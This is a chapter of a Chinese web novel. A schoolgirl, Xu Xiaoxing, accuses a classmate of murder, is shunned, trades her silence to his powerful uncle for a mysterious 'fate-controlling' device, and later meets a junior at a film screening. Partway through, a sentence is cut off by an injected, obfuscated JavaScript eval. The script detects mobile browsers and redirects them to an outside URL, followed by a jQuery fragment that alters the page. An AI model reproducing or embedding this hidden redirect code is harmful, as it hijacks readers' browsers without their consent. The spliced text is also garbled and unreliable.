邵以年和那个女同学就好像在半空中消失了一样,也许还有一种更可怕的可能,就是他们的痕迹快到当时就被人处理了。
即便如此,许小杏还是诚实地跟校方反映了她所看见的。
许小杏是当时唯一的“证据”,勇气可嘉,她向校方检举邵以年杀人的事情,但没有人相信她。
理由简单又草率,因为除了她以外没有其他目击者和证据。
甚至连天台上监控记录的画面自始自终都只有许小杏一个人,她看起来气喘吁吁,额头上带着密集的汗珠,很明显是走楼梯上来的。
这是与女神身份不相符的一个很怪异的行为习惯,明明有电梯她为什么偏偏要爬楼梯上来?于是全校默契地达成共识,许小杏的精神状态和心理健康倒更值得关注。
没有人去关心失踪了的两个人,至于真相是什么并不重要,重要的是很快全校师生对许小杏的态度有了明显的变化。
另一边许小杏父母公司突如其来的危机事件,也在学校里迅疾传开,她很明显地感到自己被边缘化和冷处理了,变成了空格键一样的存在。
从那以后许小杏没见过邵以年,但她知道他还活着,因为他的成绩依然是万年老二。
谁都不相信许小杏说的话,邵以年更不可能帮她解释清楚,承认自己是杀人凶手。
慢慢地许小杏真的像随时随处会发疯一样,跟每一个经过的师生求证着线索。
但可惜的是没有一个人愿意帮助她,或者说没有一个人敢帮助她。大家都默契地躲开她,跟她保持距离,看见她绕道走。
这样的落差对待,这样的排挤和冷暴力,换了谁都承受不住。大家都觉得许小杏随时会打包走人,离开冀文思学院。
但她一直锲而不舍地找寻着那个女同学的下落,活着的或者是死着的。
许小杏的父母是一对不会把负面情绪传递给孩子的合格父母。但不知道为什么,许小杏总觉得父母给她的爱过于标准化,以致于她感受不到温度。
她甚至怀疑自己有情感接收障碍的问题,时常陷入是不是自己不知满足、不懂感恩的自我怀疑。
但无论父母伪装得多好,当人在崩溃边缘行走的时候,紧绷和高压的情绪很难做到一丝不露。
最后,为了家人也为了自己,许小杏搁浅了对真相的执着,如果真相改变不了现实,那么面对真相就是一种残忍。
她很大胆地跟邵家人作了一场交易,一场看起来她占了大便宜的交易。
她只需要把所有问题都揽到自己身上,不再继续追根刨底,然后就可以换得定制自己人生的资格。
邵厉给她的理由很充分并且有吸引力,“一切不可能真的回到从前,但是你可以让你此后的人生掌握在自己手中。”
“为什么?”在许小杏看来这是邵厉用现实狠狠打了她一巴掌以后,给了她一个比巴掌印还大的甜枣。
毕竟邵厉目前为止所做的这一切已经可以让她夹着尾巴走人,乖乖地闭嘴了。
许小杏甚至觉得以邵家的势力想让她在这个世界上不留痕迹地消失,也是轻而易举的事情。
许小杏怎么还敢奢望要封口费?她又不是真的疯了。
“因为我欣赏你的勇气,我们都知道这件事情的真相不重要。但是我也要你清楚深刻地知道,你改变不了什么。而且…我说过有时候眼见的也不一定为实。”
这是邵厉第一次这么近距离长时间的看一个女孩儿,他的语气明明听不出严厉和威胁,却震慑人心。
当许小杏提出要见邵厉的时候,邵厉对她原本的打算有了变化。他对这个小女孩儿逐渐产生了兴趣。
她很聪明,直截了当地鼓起勇气找到了能终止这件事情的人。即使整个人连带着声音都在发抖,但她的眼神依然不卑不亢。
“我要怎么做才能让一切回到从前?”她需要邵厉的指导,指导她如何正确高效地向权势低头。她在虚心求教,只不过耐心已被对方的炮轰手段耗尽。
邵厉欣赏她的姿态,不是跪地求饶,不是痛哭流涕,不是怨天尤人,不是坐以待毙。
邵厉莫名觉得许小杏跟自己的侄子邵以年很像,他们看似是两种人,其实是一种人。
还有这次她输了,邵以年也输了。
邵厉好像从许小杏身上看到了希望,如果能让许小杏接受人生的被定制,那么是不是也意味着邵以年有一天也会接受?
许小杏今天受学弟的邀请来参加其就读影视学院的毕业作品汇报展映,当年邵厉出马平息了风波以后,她又重新变成了所有人的校园女神。
但也真的如邵厉所说的那样,一切看似回到从前,但却与从前不一样。
冀文思学院那看起来一张张天真烂漫的面庞,在一个个不简单家庭背景的熏陶下,怎么可能站在深谙世事的对立面?
高敏感度的许小杏不喜欢这种人生随时会脱轨的感觉,她要主宰自己的人生,希望人生的轨迹能顺遂如她所愿,没有意外。
所以她接受了邵厉的提议,接受了命运主宰体人生由人生这份馈赠,但她也提出了一个附加条件。
“关于我定制人生的事情希望您能帮我保密,包括我的父母。”
敢跟邵厉提条件的人除了许小杏是第三个,邵厉看着她给自己壮胆的模样,很青涩但是却值得尊重。
保密的事情邵厉跟许小杏想的一样,按照许小杏目前的身份背景和社会地位,她没有资质得到和使用命运主宰体,所以如果这件事情被披露在阳光下,可能会招惹一些不必要的麻烦。
许小杏让邵厉帮她保密的原因很简单,她对这个叫做什么“命运主宰体人生由人生”的信任度还没有邵厉高,如果不是像邵厉这般的人物把这种东西给她,她绝对怀疑对方是骗子。
也许邵厉就是骗子,但她有什么值得他骗的呢?
想来邵厉和邵以年应该还没用上这东西,所以她应该是只小白鼠,先替他们试试命运主宰体这东西到底靠不靠谱,那她本分地做一只小白鼠就可以了。
许小杏很聪明,邵厉不在乎她会知道自己的真实意图,毕竟对她来说这是目前最好的选择。但对邵厉来说在这件事情上他感情用事的占比更大。
在很长一段时间内邵家的权势和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531540|203701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地位不会被其他人撼动,但未来呢?邵厉不知道他还能保护邵以年多久。
“可以,但是我只能保证除了以年、我还有你以外的人不知道。”
“可以。”许小杏尽量用邵厉说话的节奏和语气跟他平等对话,甚至有一些刻意的模仿,为了让对方不去察觉她的慌乱和紧张。
许小杏挺直腰板儿拉开门走了出去,在脱离了邵厉的视线后,她大口地呼吸着,她心里想的是“绍以年没死,但是那个女同学呢?”
很快书包里多出来的不易察觉的重量将她拉回了清醒,什么都不再重要,她能感觉到的人生的重量才是最重要的。
邵厉转过头等待着一个人从隐藏的角落走出来,他有足够的耐心,赢的人该给输的人一些耐心。
邵以年从背后不情愿地走出来,一脸愿赌不服输的耍赖气。
邵厉选择笑着无视,他很好奇许小杏会用命运主宰体给自己定制怎样的人生。
风波平息之后许小杏的学生时代依旧发光发热,在别人眼里她还是不是女神或者说是怎样的存在许小杏不屑确定,但是在她的这个学弟宁潇眼里,她很确定,她就是他的女神。
其中的一个影片放映完后,观众嘉宾席掌声雷动,周边不少人都在讨论着影片里男一的扮演者。
“宁潇你来了!”在汇报展映快要开始前,之后被讨论的男主角就这样,如星星般闪耀落座在人群里,跟身边人打着招呼。
宁潇在周围人的热拥下匆匆一瞥,没找到想见的人,多少有些失落。
但他不知道的是从他被同学兴冲冲地叫名字时,他从最外面串到中间预留座位的过程中,许小杏全程都目光跟随。
倒也没什么暗恋的情节,虽然说宁潇是被安排好的相遇,但是他真的长了一张许小杏喜欢的初恋脸。
宁潇这个人无论是脸还是性格,都满足了许小杏学生时代少女怀春的情怀,还有想要谈恋爱却不想付诸行动的幻想。
宁潇这张初恋脸和他此刻手里拉风的摩托车头盔还有穿着打扮对比,在许小杏看来,反差感很强烈,但是她就好这口。
宁潇以前还不止一次跟许小杏打趣到自己是除了脸以外都狂野,而许小杏是唯独口味狂野。
当时在冀文思,两个人的关系好到可以时常开一些在其他人眼里,女神绝对不会开的不可思议的玩笑。
许小杏手里拿着宁潇给她的赠票,来参加宁潇就读的影视学院所举办的,广播电视编导专业毕业作品展。
前几排座位是提前预留好的,许小杏入场的时间比较早,因为来的时间很早,所以有很多座位可以选择,但她毫不犹豫地选择了预留座位后几排的中间。
“宁潇!”坐在许小杏后排的大e人也开始喊他的名字,完全没受隔了N排的影响。
进来这一阵的功夫,许小杏这位学弟一直在回应各种人跟他打招呼。
许小杏在心里不禁感慨宁潇的好人缘,“宁潇还是那个宁潇,人见人爱,花见花开的宁潇。”
宁潇回头看向声音的方向,终于一眼锁定了许小杏,就像撞到了毫无防备的开心一样。